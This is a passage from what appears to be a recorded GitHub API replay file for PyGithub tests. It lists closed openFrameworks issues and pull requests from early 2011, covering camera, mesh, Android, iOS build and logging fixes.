devices","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-03-28T15:02:50Z","created_at":"2011-01-29T21:01:03Z","state":"closed","user":{"url":"https://api.github.com/users/snibbe","avatar_url":"https://secure.gravatar.com/avatar/117a7eecfee7c7f7e954623fd96e1b6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"117a7eecfee7c7f7e954623fd96e1b6e","login":"snibbe","id":581517},"id":561610,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-29T20:14:19Z","body":"small fixes to ofNode and ofFbo\nalso made ofImage::getOFPixels() return reference instead of copy","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/435","comments":0,"milestone":null,"number":435,"html_url":"https://github.com/openframeworks/openFrameworks/issues/435","assignee":null,"title":"small fixes to ofNode and ofFbo","labels":[],"closed_at":"2011-01-29T20:14:19Z","created_at":"2011-01-29T20:10:46Z","state":"closed","user":{"url":"https://api.github.com/users/memo","avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","id":144230},"id":561561,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/435","patch_url":"https://github.com/openframeworks/openFrameworks/pull/435.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/435.diff"}},{"updated_at":"2011-01-29T14:57:16Z","body":"Bunch of VBO examples and Billboard example - desktop/IOS \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/434","comments":0,"milestone":null,"number":434,"html_url":"https://github.com/openframeworks/openFrameworks/issues/434","assignee":null,"title":"Vbo branch","labels":[],"closed_at":"2011-01-29T14:57:16Z","created_at":"2011-01-29T05:06:28Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":560785,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/434","patch_url":"https://github.com/openframeworks/openFrameworks/pull/434.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/434.diff"}},{"updated_at":"2011-02-11T19:30:52Z","body":"the main changes in the core is some structures in:\nofImage\nofBitmapString\nofVideoGrabber\n\nto be able to register them and send them notifications when the app pauses and resume. android destroys the opengl context and this way i can regenerate all the textures in a transparent way for people.\n\nThere's also some changes in ifdefs that were iphone where it should be opengles, but appart from that everything else is in ofxAndroid and the androidExamples","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/433","comments":0,"milestone":null,"number":433,"html_url":"https://github.com/openframeworks/openFrameworks/issues/433","assignee":null,"title":"android","labels":[],"closed_at":"2011-02-11T19:30:52Z","created_at":"2011-01-29T02:06:07Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":560638,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/433","patch_url":"https://github.com/openframeworks/openFrameworks/pull/433.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/433.diff"}},{"updated_at":"2011-01-29T05:05:30Z","body":"vbo testing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/432","comments":0,"milestone":null,"number":432,"html_url":"https://github.com/openframeworks/openFrameworks/issues/432","assignee":null,"title":"Vbo branch","labels":[],"closed_at":"2011-01-29T05:05:30Z","created_at":"2011-01-28T23:04:57Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":560393,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/432","patch_url":"https://github.com/openframeworks/openFrameworks/pull/432.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/432.diff"}},{"updated_at":"2011-01-29T02:23:05Z","body":"Its IOS safe as well...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/431","comments":0,"milestone":null,"number":431,"html_url":"https://github.com/openframeworks/openFrameworks/issues/431","assignee":null,"title":"ofEnablePointSprites for billboarding ","labels":[],"closed_at":"2011-01-29T02:23:05Z","created_at":"2011-01-28T20:03:24Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":559876,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/431","patch_url":"https://github.com/openframeworks/openFrameworks/pull/431.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/431.diff"}},{"updated_at":"2011-01-28T19:11:12Z","body":"as per theo's request, elliot's changes merged back to master accounting for things that i changed in the intermediate time.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/430","comments":4,"milestone":null,"number":430,"html_url":"https://github.com/openframeworks/openFrameworks/issues/430","assignee":null,"title":"elliotwoods master","labels":[],"closed_at":"2011-01-28T19:11:12Z","created_at":"2011-01-28T17:44:08Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":559493,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/430","patch_url":"https://github.com/openframeworks/openFrameworks/pull/430.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/430.diff"}},{"updated_at":"2011-01-28T12:58:41Z","body":"this is some more significant commits to ofEasyCam that make it more intuitive. most importantly, the default depth is calculated using a short method i added to ofCamera that calculates the distance from the image plane assuming 1 px = 1 unit.\r\n\r\nofBoxExample is also cleaned up to use ofLight and ofEasyCam.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/429","comments":0,"milestone":null,"number":429,"html_url":"https://github.com/openframeworks/openFrameworks/issues/429","assignee":null,"title":"cleanup of ofBoxExample and ofEasyCam","labels":[],"closed_at":"2011-01-28T12:58:41Z","created_at":"2011-01-28T07:38:49Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":558284,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/429","patch_url":"https://github.com/openframeworks/openFrameworks/pull/429.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/429.diff"}},{"updated_at":"2011-01-28T18:14:32Z","body":"the setup(...) function was throwing and error ambiguous method.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/427","comments":1,"milestone":null,"number":427,"html_url":"https://github.com/openframeworks/openFrameworks/issues/427","assignee":null,"title":"fix for ofShader setup function ","labels":[],"closed_at":"2011-01-28T18:14:32Z","created_at":"2011-01-28T04:39:34Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":558068,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/427","patch_url":"https://github.com/openframeworks/openFrameworks/pull/427.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/427.diff"}},{"updated_at":"2011-01-28T04:49:12Z","body":"just pulled this from elliot, and merged it with upstream master.\n\nthere are some initial changes to ofPolyline included here as well. the ofPolyline branch still needs to be merged, however.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/426","comments":0,"milestone":null,"number":426,"html_url":"https://github.com/openframeworks/openFrameworks/issues/426","assignee":null,"title":"momentum and a few other fixes to ofEasyCam","labels":[],"closed_at":"2011-01-28T04:49:12Z","created_at":"2011-01-27T21:48:00Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":557210,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/426","patch_url":"https://github.com/openframeworks/openFrameworks/pull/426.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/426.diff"}},{"updated_at":"2011-03-13T21:52:23Z","body":"Auto shows client connected when not true. \r\nThink this is to do with using for the client connections as the first element is created by trying to access it so the returned size of numClients is 1 instead of 0. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/425","comments":1,"milestone":null,"number":425,"html_url":"https://github.com/openframeworks/openFrameworks/issues/425","assignee":null,"title":"ofxTcpServer example shows client connected on 000.000.000.000 ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-03-13T21:52:23Z","created_at":"2011-01-27T19:46:22Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":556929,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-29T20:55:00Z","body":"For at least six months, OF cannot compile for iPhone target due to missing FreeImage library compiled for iPhone. If this issue is still outstanding, here is the solution from a June forum posting:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=3658&hilit=+libfreeimage+iphone\r\n\r\njefftimesten\r\nPosted: Sat May 01, 2010 12:37 pm\t \r\nJoined: Fri Oct 05, 2007 8:49 am\r\nPosts: 78\r\nLocation: New York\r\nI found Robert Carlsen's post about compiling FreeImage for armv6 and modified his Makefile a bit so that it compiles for iPhone OS 4.0 and 4.0 simulator.\r\n\r\n1. Download and expand Freeimage\r\n2. Download this Makefile and put it into the FreeImage directory\r\n3. Run the makefile with make -f Makefile.iphone\r\n4. Replace the the libraries in /libs/FreeImage/lib/iphone with libfreeimage-iphone.a and libfreeimage-iphonesimulator.a\r\n5. Add the libraries to your project in the FreeImage group\r\n\r\nAlternately, just download FreeImage_libs_iphoneOS40.zip, unpack it, and put it in your libs folder. \r\n\r\nThis is working for me so far... We'll see if I run into any issues.\r\n\r\n\r\nTop\t \r\nsss\r\nPosted: Sat Jun 19, 2010 8:25 pm\t \r\nJoined: Mon Apr 12, 2010 5:00 pm\r\nPosts: 7\r\nI just tried downloading the compiled libraries and got this error:\r\n\r\nUndefined symbols:\r\n\"_fopen$UNIX2003\", referenced from:\r\n_FreeImage_GetFileType in libfreeimage-iphonesimulator.a(GetType.o-i686)\r\n_FreeImage_Save in libfreeimage-iphonesimulator.a(Plugin.o-i686)\r\n_FreeImage_Load in libfreeimage-iphonesimulator.a(Plugin.o-i686)\r\nLibRaw::dcraw_ppm_tiff_writer(char const*)in libfreeimage-iphonesimulator.a(libraw_cxx.o-i686)\r\nLibRaw::dcraw_thumb_writer(char const*)in libfreeimage-iphonesimulator.a(libraw_cxx.o-i686)\r\nLibRaw_file_datastream::LibRaw_file_datastream(char const*)in libfreeimage-iphonesimulator.a(libraw_cxx.o-i686)\r\n\r\nWhich is supposedly due to a conflict in compiling against different system libraries (http://cocoawithlove.com/2009/09/buildi ... ns-in.html).\r\n\r\nDownloaded FreeImage source and makefile and rebuilt - I'm running OSX6.3. Worked fine. Couldn't attache the libraries here - taking too long to upload. But if anyone fails the process above send me a message and I'll email you the libs.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/422","comments":2,"milestone":null,"number":422,"html_url":"https://github.com/openframeworks/openFrameworks/issues/422","assignee":null,"title":"wrong architecture libfreeimage makes compiling for iPhone device impossible","labels":[],"closed_at":"2011-01-29T20:55:00Z","created_at":"2011-01-24T20:57:33Z","state":"closed","user":{"url":"https://api.github.com/users/snibbe","avatar_url":"https://secure.gravatar.com/avatar/117a7eecfee7c7f7e954623fd96e1b6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"117a7eecfee7c7f7e954623fd96e1b6e","login":"snibbe","id":581517},"id":548081,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-28T04:58:55Z","body":"includes:\r\n\r\nfixes to ofPolyline::draw()\r\nconst fixes to ofVec operators\r\nofPolyline::getPerimeter()\r\nofGetClosestPoint(ofPoint, ofPoint, ofPoint)\r\nofGetClosestPoint(ofPolyline, ofPoint)\r\nofGetSmoothed(ofPolyline)\r\nofGetResampledSpacing(ofPolyline) // resampled in terms of final point spacing\r\nofGetResampledCount(ofPolyline) // resampled in terms of final point count\r\nofGetBoundingBox(ofPolyline)\r\n\r\nadded a ofPolylineTest to devApps, which isn't far from being a demo.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/420","comments":2,"milestone":null,"number":420,"html_url":"https://github.com/openframeworks/openFrameworks/issues/420","assignee":null,"title":"ofPolyline manipulation","labels":[],"closed_at":"2011-01-28T04:58:55Z","created_at":"2011-01-24T08:03:34Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":546587,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/420","patch_url":"https://github.com/openframeworks/openFrameworks/pull/420.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/420.diff"}},{"updated_at":"2011-03-13T23:02:49Z","body":"Added two new fields for controlling the space between characters and text. We're using this for a project already where we need to control the rendering of the text on a touch screen.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/419","comments":0,"milestone":null,"number":419,"html_url":"https://github.com/openframeworks/openFrameworks/issues/419","assignee":null,"title":"Add support for setting the amount of space between characters and the size a space should represent","labels":[],"closed_at":"2011-03-13T23:02:49Z","created_at":"2011-01-23T23:09:06Z","state":"closed","user":{"url":"https://api.github.com/users/scottmac","avatar_url":"https://secure.gravatar.com/avatar/3c5a0318513620a5d04916e7deee6737?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3c5a0318513620a5d04916e7deee6737","login":"scottmac","id":50088},"id":545793,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/419","patch_url":"https://github.com/openframeworks/openFrameworks/pull/419.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/419.diff"}},{"updated_at":"2011-01-31T10:32:22Z","body":"I compiled the last version of Poco on a 32bits Ubuntu 10.04.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/416","comments":1,"milestone":null,"number":416,"html_url":"https://github.com/openframeworks/openFrameworks/issues/416","assignee":null,"title":"New version of Poco for Linux","labels":[],"closed_at":"2011-01-31T10:32:22Z","created_at":"2011-01-21T17:33:50Z","state":"closed","user":{"url":"https://api.github.com/users/I33N","avatar_url":"https://secure.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","login":"I33N","id":520375},"id":541961,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/416","patch_url":"https://github.com/openframeworks/openFrameworks/pull/416.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/416.diff"}},{"updated_at":"2011-01-20T20:52:48Z","body":"its currently wrapped in #ifndef TARGET_OPENGLES","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/415","comments":1,"milestone":null,"number":415,"html_url":"https://github.com/openframeworks/openFrameworks/issues/415","assignee":null,"title":"ofEnableAlphaBlending / ofEnableBlendMode doesn't work on iPhone","labels":[],"closed_at":"2011-01-20T20:52:48Z","created_at":"2011-01-20T20:51:24Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":540057,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=25&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4971'), ('content-length', '28826'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"eb8b1faa67b539bbc57910658df0d5b4"'), ('date', 'Tue, 29 May 2012 18:46:46 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-01-20T19:07:52Z","body":"This allows ofGetMouseX and ofGetMousePressed to work on iPhone. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/411","comments":1,"milestone":null,"number":411,"html_url":"https://github.com/openframeworks/openFrameworks/issues/411","assignee":null,"title":"Update EagleView.mm to use ofEvents.cpp mouse notification","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"}],"closed_at":"2011-01-20T19:07:52Z","created_at":"2011-01-20T19:07:08Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":539769,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-19T23:43:07Z","body":"right now we are adding a '\\0' to the end of the buffer but this could break binary files","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/409","comments":1,"milestone":null,"number":409,"html_url":"https://github.com/openframeworks/openFrameworks/issues/409","assignee":null,"title":"ofBuffer needs string/binary mode so it knows to add null byte ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-01-19T23:43:07Z","created_at":"2011-01-19T23:13:48Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":537987,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-19T23:10:32Z","body":"simple fix on mouse action to memo's ofEasyCam arcball mechanism\n\nadded a new example called 'advanced3dExample' which demonstrates:\nuse of viewports\ncustom 3D classes inherited from ofNode\ncustom camera class inherited from ofCamera\nlighting\nsome simple 3D mechanics (SHM)\n\nofViewport now uses oF co-ordinate system as default (there was a ticket about this a while back, and a new one by me recently). oF co-ordinate system is default, but the last argument can be set to false if you want to use gl window space","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/408","comments":1,"milestone":null,"number":408,"html_url":"https://github.com/openframeworks/openFrameworks/issues/408","assignee":null,"title":"fixes to memo's arcball, advanced3dExample added, ofViewport invert option added","labels":[],"closed_at":"2011-01-20T06:39:30Z","created_at":"2011-01-19T21:59:26Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":537808,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/408","patch_url":"https://github.com/openframeworks/openFrameworks/pull/408.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/408.diff"}},{"updated_at":"2011-03-13T21:20:25Z","body":"the latest check in of the easy cam example glitches and rotates erratically. \r\nIt was working nicely a few days ago...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/407","comments":0,"milestone":null,"number":407,"html_url":"https://github.com/openframeworks/openFrameworks/issues/407","assignee":null,"title":"easyCam example broken","labels":[],"closed_at":"2011-03-13T21:20:25Z","created_at":"2011-01-19T21:48:07Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","id":321434},"id":537783,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T21:18:35Z","body":"The ofxDirList addon is having a problem. I've only tested it on OS X in Xcode.\r\n\r\nIf you try to Build and Run openFrameworks / apps / addonsExamples / dirListExample you will get the error:\r\n../../../addons/ofxDirList/src/ofxDirList.h:46: error: 'relDir' was not declared in this scope","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/404","comments":1,"milestone":null,"number":404,"html_url":"https://github.com/openframeworks/openFrameworks/issues/404","assignee":null,"title":"ofxDirList broken","labels":[],"closed_at":"2011-03-13T21:18:35Z","created_at":"2011-01-18T18:43:43Z","state":"closed","user":{"url":"https://api.github.com/users/jfenwick","avatar_url":"https://secure.gravatar.com/avatar/1360daa717268f06cb3b7cc64dbabd1f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1360daa717268f06cb3b7cc64dbabd1f","login":"jfenwick","id":99384},"id":534777,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-04T14:10:49Z","body":"Is this the answer?\r\nofLogger needs lots of attention - its quite dangerous as is. \r\n\r\n\t#ifndef TARGET_OS_IPHONE\r\n\t\tfileChannel = new Poco::FileChannel(ofToDataPath(\"openframeworks.log\"));\r\n\t#else\r\n\t\tfileChannel = new Poco::FileChannel();\r\n\t#endif ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/402","comments":1,"milestone":null,"number":402,"html_url":"https://github.com/openframeworks/openFrameworks/issues/402","assignee":null,"title":"ofLogger is still creating a log file by default - on iPhone this causes a crash as data/ is not writable","labels":[],"closed_at":"2011-12-04T14:10:49Z","created_at":"2011-01-17T17:47:00Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":532246,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-19T22:32:44Z","body":"cleaner and more complete version of the mesh dev with the modified structure; data is now stored in ofMeshElement with a mode of how it is indexed (and the corresponding indices). ofAssimpMeshLoader loads into an ofMeshElement with default mode triangles, ofVboMesh uses a vbo to draw this mesh. Proper implementation still needed for normals, colors, and tex coords, but wanted to send over the current structure that I think (hope) will be our final.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/401","comments":0,"milestone":null,"number":401,"html_url":"https://github.com/openframeworks/openFrameworks/issues/401","assignee":null,"title":"updated structure for meshes, likely preferable over last pull request","labels":[],"closed_at":"2011-01-19T22:32:44Z","created_at":"2011-01-17T17:19:59Z","state":"closed","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":532185,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/401","patch_url":"https://github.com/openframeworks/openFrameworks/pull/401.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/401.diff"}},{"updated_at":"2011-12-04T14:10:30Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/399","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":399,"html_url":"https://github.com/openframeworks/openFrameworks/issues/399","assignee":null,"title":"ofTTF should have setAnchorPercent - so you can draw string centred or right aligned etc. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":"2011-12-04T14:10:30Z","created_at":"2011-01-17T16:36:06Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":532090,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-19T22:20:34Z","body":"eg: virtual destructors, checking for nan/inf in important places, panning on the mixer actually working","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/398","comments":0,"milestone":null,"number":398,"html_url":"https://github.com/openframeworks/openFrameworks/issues/398","assignee":null,"title":"important fixes to ofSynth + damian's awesome floating points sound example","labels":[],"closed_at":"2011-01-19T22:20:34Z","created_at":"2011-01-17T04:00:07Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":531085,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/398","patch_url":"https://github.com/openframeworks/openFrameworks/pull/398.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/398.diff"}},{"updated_at":"2011-01-19T22:10:10Z","body":"typo in the graphics core, leading to unexpected behavior.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/397","comments":0,"milestone":null,"number":397,"html_url":"https://github.com/openframeworks/openFrameworks/issues/397","assignee":null,"title":"Of clear 